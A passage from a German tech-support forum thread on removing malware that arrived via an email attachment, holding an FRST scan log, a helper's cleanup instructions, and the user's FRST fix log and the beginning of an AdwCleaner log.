Corporation) ShellIconOverlayIdentifiers: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers: [ DropboxExt01] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt02] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt03] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt04] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt05] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt06] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt07] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt08] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt09] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ DropboxExt10] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers: [ ACloudSynced] -> {5CCE71FA-9F61-4F24-9CD1-98D819B40D68} => C:\Program Files (x86)\Acer\shellext\x64\shellext_win.dll [2017-10-02] (Acer Incorporated -> Acer Incorporated) ShellIconOverlayIdentifiers: [ ACloudSyncing] -> {C1E1456F-C2D8-4C96-870D-35F1E13941EE} => C:\Program Files (x86)\Acer\shellext\x64\shellext_win.dll [2017-10-02] (Acer Incorporated -> Acer Incorporated) ShellIconOverlayIdentifiers: [ ACloudToBeSynced] -> {307523FA-DDC0-4068-983F-2A6B34627744} => C:\Program Files (x86)\Acer\shellext\x64\shellext_win.dll [2017-10-02] (Acer Incorporated -> Acer Incorporated) ShellIconOverlayIdentifiers-x32: [ OneDrive1] -> {BBACC218-34EA-4666-9D7A-C78F2274A524} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive2] -> {5AB7172C-9C11-405C-8DD5-AF20F3606282} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive3] -> {A78ED123-AB77-406B-9962-2A5D9D2F7F30} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive4] -> {F241C880-6982-4CE5-8CF7-7085BA96DA5A} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive5] -> {A0396A93-DC06-4AEF-BEE9-95FFCCAEF20E} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive6] -> {9AA2F32D-362A-42D9-9328-24A483E2CCC3} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ OneDrive7] -> {C5FF006E-2AE9-408C-B85B-2DFDD5449D9C} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ShellIconOverlayIdentifiers-x32: [ DropboxExt01] -> {FB314ED9-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt02] -> {FB314EDF-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt03] -> {FB314EE1-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt04] -> {FB314EDB-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt05] -> {FB314EDA-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt06] -> {FB314EDC-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt07] -> {FB314EDD-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt08] -> {FB314EE0-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt09] -> {FB314EE2-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ShellIconOverlayIdentifiers-x32: [ DropboxExt10] -> {FB314EDE-A251-47B7-93E1-CDD82E34AF8B} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers1: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ContextMenuHandlers1: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers1: [PDFArchitect7_ManagerExt] -> {21989F59-B260-4302-90C3-E51740E03639} => C:\Program Files\PDF Architect 7\context-menu.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) ContextMenuHandlers1: [PDFCreator.ShellContextMenu] -> {d9cea52e-100d-4159-89ea-76e845bc13e1} => D:\Programme\PDFCreator\PDFCreatorShell.DLL -> Keine Datei ContextMenuHandlers2-x32: [Emsisoft Shell Extension] -> {AB77609F-2178-4E6F-9C4B-44AC179D937A} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers2: [Emsisoft Shell Extension x64] -> {E3F21FC7-6D65-48E7-B62B-E9ED8200C764} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU64.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers3-x32: [Emsisoft Shell Extension] -> {AB77609F-2178-4E6F-9C4B-44AC179D937A} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers3: [Emsisoft Shell Extension x64] -> {E3F21FC7-6D65-48E7-B62B-E9ED8200C764} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU64.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers3: [MBAMShlExt] -> {57CE581A-0CB6-4266-9CA0-19364C90A0B3} => C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll [2021-04-13] (Malwarebytes Corporation -> Malwarebytes) ContextMenuHandlers4: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ContextMenuHandlers4: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers5: [ FileSyncEx] -> {CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B} => C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\amd64\FileSyncShell64.dll [2021-04-10] (Microsoft Corporation -> Microsoft Corporation) ContextMenuHandlers5: [DropboxExt] -> {ECD97DE5-3C8F-4ACB-AEEE-CCAB78F7711C} => C:\Program Files (x86)\Dropbox\Client\DropboxExt64.47.0.dll [2021-03-03] (Dropbox, Inc -> Dropbox, Inc.) ContextMenuHandlers5: [igfxcui] -> {3AB1675A-CCFF-11D2-8B20-00A0C93CB1F4} => -> Keine Datei ContextMenuHandlers5: [igfxDTCM] -> {9B5F5829-A529-4B12-814A-E81BCB8D93FC} => C:\WINDOWS\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\igfxDTCM.dll [2017-02-07] (Microsoft Windows Hardware Compatibility Publisher -> Intel Corporation) ContextMenuHandlers5: [NvCplDesktopContext] -> {3D1975AF-48C6-4f8e-A182-BE0E08FA86A9} => C:\WINDOWS\system32\nvshext.dll [2017-05-01] (NVIDIA Corporation -> NVIDIA Corporation) ContextMenuHandlers6-x32: [Emsisoft Shell Extension] -> {AB77609F-2178-4E6F-9C4B-44AC179D937A} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers6: [Emsisoft Shell Extension x64] -> {E3F21FC7-6D65-48E7-B62B-E9ED8200C764} => C:\Program Files\Emsisoft Anti-Malware\A2CONTMENU64.DLL [2015-10-21] (Emsisoft Ltd -> Emsisoft Ltd) ContextMenuHandlers6: [MBAMShlExt] -> {57CE581A-0CB6-4266-9CA0-19364C90A0B3} => C:\Program Files\Malwarebytes\Anti-Malware\mbshlext.dll [2021-04-13] (Malwarebytes Corporation -> Malwarebytes) ==================== Codecs (Nicht auf der Ausnahmeliste) ==================== ==================== Verknüpfungen & WMI ======================== ==================== Geladene Module (Nicht auf der Ausnahmeliste) ============= 2016-12-27 12:53 - 2016-06-15 03:12 - 001298640 _____ (NVIDIA Corporation PE Sign v2014 -> NVIDIA Corporation) [Datei ist nicht signiert] C:\Program Files\NVIDIA Corporation\NvStreamSrv\rxinput.dll 2016-12-27 12:54 - 2016-06-15 03:12 - 001767760 _____ (NVIDIA Corporation PE Sign v2014 -> NVIDIA Corporation) [Datei ist nicht signiert] C:\WINDOWS\system32\nvspcap64.dll 2018-12-10 11:29 - 2018-12-10 11:29 - 000438272 _____ (The curl library, hxxps://curl.haxx.se/) [Datei ist nicht signiert] C:\Program Files\PDF Architect 7\libcurl.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 001282048 _____ (The OpenSSL Project, hxxp://www.openssl.org/) [Datei ist nicht signiert] D:\Games\Origin\LIBEAY32.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 000279040 _____ (The OpenSSL Project, hxxp://www.openssl.org/) [Datei ist nicht signiert] D:\Games\Origin\ssleay32.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 001611264 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\platforms\qwindows.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 005487104 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5Core.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 005841920 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5Gui.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 001179136 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5Network.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 000146432 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5WebSockets.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 005089792 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5Widgets.dll 2021-04-08 23:34 - 2020-10-13 19:14 - 000184832 _____ (The Qt Company Ltd) [Datei ist nicht signiert] D:\Games\Origin\Qt5Xml.dll ==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) ======== ==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ================== (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.) HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\MBAMService => ""="Service" HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\MBAMService => ""="Service" ==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ================= ==================== Internet Explorer (Nicht auf der Ausnahmeliste) ========== HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://acer17win10.msn.com/?pc=ACTE HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://acer17win10.msn.com/?pc=ACTE SearchScopes: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001 -> DefaultScope {719D3D69-4D32-4D6A-8008-477B306B8CEB} URL = BHO: PDF Architect 7 Helper -> {2B035CAB-1F3D-4DE6-A32D-39B9E5F456D0} -> C:\Program Files\PDF Architect 7\creator\plugins\IEAddin\creator-ie-helper.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) BHO: Skype for Business Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Office\root\VFS\ProgramFilesX64\Microsoft Office\Office16\OCHelper.dll [2021-03-04] (Microsoft Corporation -> Microsoft Corporation) BHO-x32: PDF Architect 7 Helper -> {2B035CAB-1F3D-4DE6-A32D-39B9E5F456D0} -> C:\Program Files (x86)\PDF Architect 7\creator\plugins\IEAddin\creator-ie-helper.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) Toolbar: HKLM - PDF Architect 7 Toolbar - {61E612A7-2382-4570-8D3F-42BC136DDAD7} - C:\Program Files\PDF Architect 7\creator\plugins\IEAddin\creator-ie-plugin.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) Toolbar: HKLM-x32 - PDF Architect 7 Toolbar - {61E612A7-2382-4570-8D3F-42BC136DDAD7} - C:\Program Files (x86)\PDF Architect 7\creator\plugins\IEAddin\creator-ie-plugin.dll [2019-10-07] (pdfforge GmbH -> pdfforge GmbH) Handler-x32: mso-minsb-roaming.16 - {83C25742-A9F7-49FB-9138-434302C88D07} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: mso-minsb.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: osf-roaming.16 - {42089D2D-912D-4018-9087-2B87803E93FB} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) Handler-x32: osf.16 - {5504BE45-A83B-4808-900A-3A5C36E7F77A} - C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSB.DLL [2021-04-08] (Microsoft Corporation -> Microsoft Corporation) ==================== Hosts Inhalt: ========================= (Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.) 2015-10-30 09:24 - 2021-04-13 21:48 - 000000027 _____ C:\WINDOWS\system32\drivers\etc\hosts 127.0.0.1 localhost ==================== Andere Bereiche =========================== (Aktuell gibt es keinen automatisierten Fix für diesen Bereich.) HKLM\System\CurrentControlSet\Control\Session Manager\Environment\\Path -> C:\Program Files (x86)\Intel\iCLS Client\;C:\Program Files\Intel\iCLS Client\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\NVIDIA Corporation\PhysX\Common;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files\Intel\Intel(R) Management Engine Components\DAL;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\IPT;C:\Program Files\Intel\Intel(R) Management Engine Components\IPT;%SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SYSTEMROOT%\System32\OpenSSH\ HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Jules\AppData\Local\Microsoft\Windows\Themes\RoamedThemeFiles\DesktopBackground\wp6495686-the-mandalorian-4k-wallpapers.jpg DNS Servers: 192.168.2.1 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 5) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1) HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer => (SmartScreenEnabled: RequireAdmin) ist aktiviert. ==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge == (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.) HKLM\...\StartupApproved\Run32: => "Dropbox" ==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ================ (Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.) FirewallRules: [{E0B9415C-9713-4BDF-949A-65A2D3597BE4}] => (Allow) D:\Games\Steam\steam.exe (Valve -> Valve Corporation) FirewallRules: [{7085354C-19DF-48D2-9572-E3D661653B91}] => (Allow) D:\Games\Steam\steam.exe (Valve -> Valve Corporation) FirewallRules: [{C6BF9672-25FE-4E34-8C35-F5D4DD3527BF}] => (Allow) D:\Games\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve -> Valve Corporation) FirewallRules: [{32200CBC-FE7B-4426-B20E-2B1E29BF38B0}] => (Allow) D:\Games\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve -> Valve Corporation) ==================== Wiederherstellungspunkte ========================= 25-02-2021 21:30:58 Geplanter Prüfpunkt 14-03-2021 22:43:35 Windows Modules Installer ==================== Fehlerhafte Geräte im Gerätemanager ============ ==================== Fehlereinträge in der Ereignisanzeige: ======================== Applikationsfehler: ================== Error: (04/13/2021 05:49:24 PM) (Source: Software Protection Platform Service) (EventID: 1014) (User: ) Description: Fehler beim Erwerb der Endbenutzerlizenz. hr=0xC004C003 SKU-ID=95820f84-6e8c-4d22-b2ce-54953e9911bc Error: (04/13/2021 05:49:24 PM) (Source: Software Protection Platform Service) (EventID: 8200) (User: ) Description: Lizenzerwerb-Fehlerdetails. hr=0xC004C003 Error: (04/13/2021 02:34:42 PM) (Source: Software Protection Platform Service) (EventID: 1014) (User: ) Description: Fehler beim Erwerb der Endbenutzerlizenz. hr=0xC004C003 SKU-ID=95820f84-6e8c-4d22-b2ce-54953e9911bc Error: (04/13/2021 02:34:42 PM) (Source: Software Protection Platform Service) (EventID: 8200) (User: ) Description: Lizenzerwerb-Fehlerdetails. hr=0xC004C003 Error: (04/13/2021 02:34:08 PM) (Source: Software Protection Platform Service) (EventID: 1014) (User: ) Description: Fehler beim Erwerb der Endbenutzerlizenz. hr=0xC004C003 SKU-ID=95820f84-6e8c-4d22-b2ce-54953e9911bc Error: (04/13/2021 02:34:08 PM) (Source: Software Protection Platform Service) (EventID: 8200) (User: ) Description: Lizenzerwerb-Fehlerdetails. hr=0xC004C003 Error: (04/13/2021 12:14:34 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: ) Description: Event-ID 0 Error: (04/12/2021 10:34:01 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: ) Description: Event-ID 0 Systemfehler: ============= Error: (04/13/2021 09:48:32 PM) (Source: Service Control Manager) (EventID: 7031) (User: ) Description: Der Dienst "DbxSvc" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 5000 Millisekunden durchgeführt: Neustart des Diensts. Error: (04/13/2021 09:48:32 PM) (Source: Service Control Manager) (EventID: 7031) (User: ) Description: Der Dienst "Microsoft Office-Klick-und-Los-Dienst" wurde unerwartet beendet. Dies ist bereits 1 Mal vorgekommen. Folgende Korrekturmaßnahmen werden in 0 Millisekunden durchgeführt: Neustart des Diensts. Error: (04/13/2021 09:48:32 PM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "Steam Client Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Error: (04/13/2021 09:48:32 PM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "User Experience Improvement Program" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Error: (04/13/2021 09:48:32 PM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "Intel(R) Rapid Storage Technology" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Error: (04/13/2021 09:48:32 PM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "Origin Web Helper Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Error: (04/13/2021 09:48:32 PM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "Intel(R) Dynamic Application Loader Host Interface Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. Error: (04/13/2021 09:48:32 PM) (Source: Service Control Manager) (EventID: 7034) (User: ) Description: Dienst "Intel(R) Management and Security Application Local Management Service" wurde unerwartet beendet. Dies ist bereits 1 Mal passiert. CodeIntegrity: =============== Date: 2021-04-13 22:07:47 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe) attempted to load \Device\HarddiskVolume4\Program Files\Emsisoft Anti-Malware\eppcom64.dll that did not meet the Custom 3 / Antimalware signing level requirements. ==================== Speicherinformationen =========================== BIOS: Insyde Corp. V1.18 10/21/2016 Hauptplatine: Acer SpiderMan_SK Prozessor: Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz Prozentuale Nutzung des RAM: 41% Installierter physikalischer RAM: 16252.22 MB Verfügbarer physikalischer RAM: 9500.3 MB Summe virtueller Speicher: 18684.22 MB Verfügbarer virtueller Speicher: 11305.84 MB ==================== Laufwerke ================================ Drive c: (Acer) (Fixed) (Total:237.36 GB) (Free:82.09 GB) NTFS Drive d: (Data) (Fixed) (Total:931.51 GB) (Free:126.86 GB) NTFS \\?\Volume{44f275c1-0c20-44fc-9e16-4da330d4e24b}\ (Recovery) (Fixed) (Total:1 GB) (Free:0.52 GB) NTFS \\?\Volume{fd4f6b09-3c39-473e-b9b0-784d9524d6f1}\ (ESP) (Fixed) (Total:0.09 GB) (Free:0.05 GB) FAT32 ==================== MBR & Partitionstabelle ==================== ========================================================== Disk: 0 (Size: 931.5 GB) (Disk ID: 610F7E67) Partition: GPT. ========================================================== Disk: 1 (Size: 238.5 GB) (Disk ID: 610F4066) Partition: GPT. ==================== Ende von Addition.txt ======================= Geändert von Jules23 (13.04.2021 um 21:30 Uhr) |
|
14.04.2021, 09:45
| #5 |
| /// TB-Ausbilder | Win10 x 64: Malware durch Emailanhang auf den Laptop gezogen Vielen Dank für den Upload!  Sehr gut gemacht!  Kannst du die Datei "C:\Users\Jules\D3d1kmgr.ps1" aus der Quarantäne von Emsisoft wiederherstellen und ebenfalls mit Schritt 2 hochladen? Das wäre super! Diese .zip Datei mit der schädlichen Word-Datei hast du nicht mehr, oder? Wenn doch, auch bitte mit hochladen. Danach kannst du sie löschen. Solange du sie nicht ausführst/startest, kann nichts passieren.  Wir entfernen die letzten Reste und kontrollieren nochmal alles. Schritt 1 WARNUNG AN ALLE MITLESER !!! Dieses FRST-Script ist ausschließlich für diesen Nutzer gedacht und sollte niemals 1:1 für ein anderes System angewendet werden!
Schritt 2 Mit Schritt 1 wurde ein .zip Archiv mit dem Schema < Datum_Uhrzeit.zip > (z. B. 20.02.2021_11.33.52.zip) auf deinem Desktop erstellt.
Schritt 3 Führe AdwCleaner gemäß der bebilderten Anleitung aus und poste abschließend die Logdatei. Schritt 4
Bitte poste mit deiner nächsten Antwort:
Geändert von M-K-D-B (14.04.2021 um 09:54 Uhr) |
|
14.04.2021, 11:39
| #6 |
| | Win10 x 64: Malware durch Emailanhang auf den Laptop gezogen Hallo Matthias, herzlichen Dank für deine schnelle Hilfe! --> Die .zip datei habe ich tatsächlich nicht mehr, die habe ich umgehend gelöscht. --> Die Datei "C:\Users\Jules\D3d1kmgr.ps1" (und die .zip aus dem FRST scan) habe ich bei Bleeping Computer hochgeladen. --> Schritt 1-4 durchgeführt. Die o.g. Datei "D3d1kmgr.ps1" habe ich wieder (aktiv) i.d. Quarantäne verschoben. Logs: Code:
ATTFilter Entfernungsergebnis von Farbar Recovery Scan Tool (x64) Version: 11-04-2021
durchgeführt von Jules (14-04-2021 12:16:44) Run:2
Gestartet von D:\Downloads
Geladene Profile: Jules
Start-Modus: Normal
==============================================
fixlist Inhalt:
*****************
DeleteQuarantine:
C:\Users\Jules\bicmmc.lnk
Zip: C:\FRST\Quarantine
Reboot:
*****************
"C:\FRST\Quarantine" => erfolgreich entfernt
C:\Users\Jules\bicmmc.lnk => erfolgreich verschoben
================== Zip: ===================
C:\FRST\Quarantine -> erfolgreich kopiert zu C:\Users\Jules\OneDrive\Desktop\14.04.2021_12.16.44.zip
=========== Zip: Ende ===========
Das System musste neu gestartet werden.
==== Ende von Fixlog 12:16:45 ====
Code:
ATTFilter # -------------------------------
# Malwarebytes AdwCleaner 8.2.0.0
# -------------------------------
# Build: 03-22-2021
# Database: 2021-04-08.1 (Cloud)
# Support: https://www.malwarebytes.com/support
#
# -------------------------------
# Mode: Clean
# -------------------------------
